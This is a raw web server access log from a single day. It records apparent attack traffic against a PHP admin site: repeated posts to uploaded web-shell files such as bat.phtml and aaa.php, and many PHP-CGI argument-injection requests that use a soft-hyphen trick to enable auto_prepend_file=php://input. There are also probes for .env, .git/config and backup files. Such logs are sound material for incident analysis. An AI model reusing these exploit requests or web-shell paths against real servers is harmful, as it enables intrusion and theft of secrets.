[03/Dec/2024:10:34:20 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/addnews.php HTTP/1.1" -
[03/Dec/2024:10:34:20 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/newedit.php?newid=7&oper=edit HTTP/1.1" 8021
[03/Dec/2024:10:34:20 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/topmenu.php HTTP/1.1" 1509
[03/Dec/2024:10:34:21 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/rmenu.php HTTP/1.1" 10168
[03/Dec/2024:10:35:04 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/newedit.php?newid=7&oper=edit HTTP/1.1" 8021
[03/Dec/2024:10:35:04 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/topmenu.php HTTP/1.1" 1509
[03/Dec/2024:10:35:05 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/rmenu.php HTTP/1.1" 10168
[03/Dec/2024:10:35:06 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/upload/files/bat.phtml HTTP/1.1" 78257
[03/Dec/2024:10:35:18 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/upload/files/bat.phtml HTTP/1.1" 78257
[03/Dec/2024:10:35:18 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /favicon.ico HTTP/1.1" 2066
[03/Dec/2024:10:35:44 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/upload/files/bat.phtml HTTP/1.1" 78257
[03/Dec/2024:10:36:07 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/upload/files/bat.phtml HTTP/1.1" 78257
[03/Dec/2024:10:36:07 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /favicon.ico HTTP/1.1" 2066
[03/Dec/2024:10:36:17 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/upload/files/bat.phtml HTTP/1.1" 78257
[03/Dec/2024:10:36:17 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /favicon.ico HTTP/1.1" 2066
[03/Dec/2024:10:37:29 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/upload/files/bat.phtml HTTP/1.1" 78257
[03/Dec/2024:10:38:15 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/upload/files/bat.phtml HTTP/1.1" 78257
[03/Dec/2024:10:38:16 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/upload/files/bat.phtml HTTP/1.1" 78257
[03/Dec/2024:10:44:59 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/upload/files/aaa.php HTTP/1.1" -
[03/Dec/2024:10:45:00 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/upload/files/aaa.php HTTP/1.1" 64
[03/Dec/2024:10:45:00 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/upload/files/aaa.php HTTP/1.1" 1168
[03/Dec/2024:10:45:11 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/upload/files/aaa.php HTTP/1.1" 1076
[03/Dec/2024:10:45:17 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/bootstrap/images/tabs_icons.png HTTP/1.1" 150
[03/Dec/2024:10:49:33 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/upload/files/aaa.php HTTP/1.1" -
[03/Dec/2024:10:49:54 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/newedit.php HTTP/1.1" 7785
[03/Dec/2024:10:49:55 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /favicon.ico HTTP/1.1" 2066
[03/Dec/2024:10:49:55 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/rmenu.php HTTP/1.1" 10168
[03/Dec/2024:10:49:59 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/newlist.php HTTP/1.1" 20907
[03/Dec/2024:10:49:59 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /favicon.ico HTTP/1.1" 2066
[03/Dec/2024:10:50:00 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/rmenu.php HTTP/1.1" 10168
[03/Dec/2024:10:50:00 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/topmenu.php HTTP/1.1" 1509
[03/Dec/2024:10:50:00 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/getusergrup.php HTTP/1.1" -
[03/Dec/2024:10:50:00 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[03/Dec/2024:10:50:00 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/get_news.php HTTP/1.1" 863
[03/Dec/2024:10:50:08 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/addnews.php HTTP/1.1" -
[03/Dec/2024:10:50:08 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/newedit.php?newid=4&oper=edit HTTP/1.1" 8025
[03/Dec/2024:10:50:09 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/newedit.php?newid=4&oper=edit HTTP/1.1" 8025
[03/Dec/2024:10:50:09 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/topmenu.php HTTP/1.1" 1509
[03/Dec/2024:10:50:09 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/rmenu.php HTTP/1.1" 10168
[03/Dec/2024:10:50:12 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/newedit.php HTTP/1.1" 7785
[03/Dec/2024:10:50:13 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/topmenu.php HTTP/1.1" 1509
[03/Dec/2024:10:50:13 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/rmenu.php HTTP/1.1" 10168
[03/Dec/2024:10:50:33 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/addnews.php HTTP/1.1" -
[03/Dec/2024:10:50:33 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/newedit.php?newid=8&oper=edit HTTP/1.1" 8017
[03/Dec/2024:10:50:33 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/topmenu.php HTTP/1.1" 1509
[03/Dec/2024:10:50:34 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/rmenu.php HTTP/1.1" 10168
[03/Dec/2024:10:50:47 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/upload/files/aaa.php HTTP/1.1" -
[03/Dec/2024:10:50:47 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/upload/files/aaa.php HTTP/1.1" 64
[03/Dec/2024:10:50:48 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/upload/files/aaa.php HTTP/1.1" 64
[03/Dec/2024:10:50:59 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/upload/files/aaa.php HTTP/1.1" -
[03/Dec/2024:10:50:59 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/upload/files/aaa.php HTTP/1.1" 64
[03/Dec/2024:10:50:59 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/upload/files/aaa.php HTTP/1.1" 1148
[03/Dec/2024:10:51:09 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/upload/files/aaa.php HTTP/1.1" 1076
[03/Dec/2024:10:51:26 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/upload/files/aaa.php HTTP/1.1" 1888
[03/Dec/2024:10:51:35 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/upload/files/aaa.php HTTP/1.1" 344
[03/Dec/2024:10:52:06 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[03/Dec/2024:10:53:27 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[03/Dec/2024:10:54:41 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[03/Dec/2024:10:55:59 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/upload/files/aaa.php HTTP/1.1" 80
[03/Dec/2024:10:57:55 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/time/index9328a.html HTTP/1.1" 14096
[03/Dec/2024:10:58:43 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/logout.php HTTP/1.1" -
[03/Dec/2024:10:58:43 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/login.php HTTP/1.1" 9089
[03/Dec/2024:11:00:11 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/time/apps/website/view/theme/default/stylesheet/responsive.css HTTP/1.1" -
[03/Dec/2024:11:00:13 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/time/apps/website/view/javascript/core/ming.js HTTP/1.1" -
[03/Dec/2024:11:00:15 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/time/apps/website/view/javascript/core/libraries/jquery-ui/jquery-ui.min.js HTTP/1.1" -
[03/Dec/2024:11:00:17 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/time/apps/website/view/javascript/core/libraries/jquery.min.js HTTP/1.1" -
[03/Dec/2024:11:00:21 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/time/apps/website/images/logo.svg HTTP/1.1" -
[03/Dec/2024:11:00:23 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/time/apps/website/view/theme/default/javascript/swiper.min.js HTTP/1.1" -
[03/Dec/2024:11:00:25 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/time/apps/website/images/top.svg HTTP/1.1" -
[03/Dec/2024:11:00:27 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /spaw/empty/apps/website/view/theme/default/javascript/wow.min.js HTTP/1.1" 305
[03/Dec/2024:11:00:28 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /spaw/empty/apps/website/view/theme/default/javascript/main.js HTTP/1.1" 305
[03/Dec/2024:11:14:12 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[03/Dec/2024:11:16:12 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/bootstrap/images/panel_tools.png HTTP/1.1" 194
[03/Dec/2024:11:21:35 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[03/Dec/2024:11:21:49 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[03/Dec/2024:11:21:49 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[03/Dec/2024:11:21:53 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[03/Dec/2024:11:21:53 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[03/Dec/2024:11:22:09 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/login.php/php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 9089
[03/Dec/2024:11:24:16 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[03/Dec/2024:11:24:17 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[03/Dec/2024:11:24:17 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[03/Dec/2024:11:24:18 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /favicon.ico HTTP/1.1" 2066
[03/Dec/2024:11:33:36 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/time/time.php.bak HTTP/1.1" -
[03/Dec/2024:11:33:42 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[03/Dec/2024:11:40:13 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /core/.env HTTP/1.1" 319
[03/Dec/2024:11:46:55 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[03/Dec/2024:11:51:39 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[03/Dec/2024:11:54:27 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[03/Dec/2024:11:58:45 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/upload/files/%E8%87%AA%E8%B2%BB%E5%83%B9%E6%A0%BC%E8%A1%A8.pdf HTTP/1.1" -
[03/Dec/2024:12:16:44 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/bootstrap/images/validatebox_warning.png HTTP/1.1" 921
[03/Dec/2024:12:52:07 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[03/Dec/2024:12:54:28 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[03/Dec/2024:12:58:52 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[03/Dec/2024:13:14:23 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[03/Dec/2024:13:15:10 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.git/config HTTP/1.1" 300
[03/Dec/2024:13:16:28 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/black/images/datebox_arrow.png HTTP/1.1" 626
[03/Dec/2024:13:21:37 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[03/Dec/2024:13:21:37 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[03/Dec/2024:13:27:08 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" 332
[03/Dec/2024:13:27:10 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[03/Dec/2024:13:34:04 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[03/Dec/2024:13:34:12 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /a/.git/config HTTP/1.1" 300
[03/Dec/2024:13:35:23 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /t9Gh HTTP/1.1" 300
[03/Dec/2024:13:35:24 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wcQ2 HTTP/1.1" 300
[03/Dec/2024:13:35:24 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /aab8 HTTP/1.1" 300
[03/Dec/2024:13:35:25 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /jquery-3.3.1.slim.min.js HTTP/1.1" 300
[03/Dec/2024:13:35:26 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /aab9 HTTP/1.1" 300
[03/Dec/2024:13:35:27 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /jquery-3.3.2.slim.min.js HTTP/1.1" 300
[03/Dec/2024:13:39:53 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/samples/old/assets/inlineall/logo.png HTTP/1.1" 4283
[03/Dec/2024:13:46:28 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/bootstrap/images/slider_handle.png HTTP/1.1" 863
[03/Dec/2024:13:46:40 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[03/Dec/2024:13:49:51 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[03/Dec/2024:13:51:21 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[03/Dec/2024:13:55:02 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[03/Dec/2024:14:02:23 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/upload/images/dept8-1.jpg HTTP/1.1" 162270
[03/Dec/2024:14:24:53 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/upload/images/1f1.jpg HTTP/1.1" 35166
[03/Dec/2024:14:34:20 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[03/Dec/2024:14:45:17 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/bootstrap/images/tree_icons.png HTTP/1.1" 3115
[03/Dec/2024:14:46:57 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[03/Dec/2024:14:47:23 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/skins/moono/images/arrow.png HTTP/1.1" 191
[03/Dec/2024:14:51:53 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[03/Dec/2024:14:54:55 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[03/Dec/2024:15:01:36 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.git/config HTTP/1.1" 300
[03/Dec/2024:15:04:12 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[03/Dec/2024:15:10:46 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/bootstrap/images/pagination_icons.png HTTP/1.1" 628
[03/Dec/2024:15:10:53 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/samples/toolbarconfigurator/font/fontello.svg HTTP/1.1" 1701
[03/Dec/2024:15:13:46 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/default/images/blank.gif HTTP/1.1" 43
[03/Dec/2024:15:14:27 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[03/Dec/2024:15:16:46 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/black/images/linkbutton_bg.png HTTP/1.1" 1274
[03/Dec/2024:15:19:46 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/bootstrap/images/calendar_arrows.png HTTP/1.1" 173
[03/Dec/2024:15:22:47 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/plugins/copyformatting/cursors/cursor.svg HTTP/1.1" 2759
[03/Dec/2024:15:25:47 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/bootstrap/images/spinner_arrows.png HTTP/1.1" 115
[03/Dec/2024:15:28:55 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/plugins/iframe/images/placeholder.png HTTP/1.1" 265
[03/Dec/2024:15:34:15 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[03/Dec/2024:15:34:46 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/plugins/preview/images/pagebreak.gif HTTP/1.1" 99
[03/Dec/2024:15:40:46 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/bootstrap/images/layout_arrows.png HTTP/1.1" 319
[03/Dec/2024:15:43:53 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/test/uploads/ba8780a819454adcca5146d959f78c4b.php.jpg HTTP/1.1" 674
[03/Dec/2024:15:46:46 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/bootstrap/images/linkbutton_bg.png HTTP/1.1" 1274
[03/Dec/2024:15:51:21 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[03/Dec/2024:15:52:31 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[03/Dec/2024:15:52:48 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/bootstrap/images/combo_arrow.png HTTP/1.1" 117
[03/Dec/2024:15:58:46 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/bootstrap/images/datagrid_icons.png HTTP/1.1" 307
[03/Dec/2024:16:04:46 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/bootstrap/images/messager_icons.png HTTP/1.1" 6116
[03/Dec/2024:16:10:46 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/bootstrap/images/blank.gif HTTP/1.1" 43
[03/Dec/2024:16:16:46 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/plugins/about/dialogs/logo_ckeditor.png HTTP/1.1" 6757
[03/Dec/2024:16:22:47 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/black/images/validatebox_warning.png HTTP/1.1" 921
[03/Dec/2024:16:29:00 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/black/images/loading.gif HTTP/1.1" 1737
[03/Dec/2024:16:34:01 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[03/Dec/2024:16:51:53 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[03/Dec/2024:17:03:39 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[03/Dec/2024:17:03:39 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /favicon.ico HTTP/1.1" 2066
[03/Dec/2024:17:09:13 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[03/Dec/2024:17:14:15 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
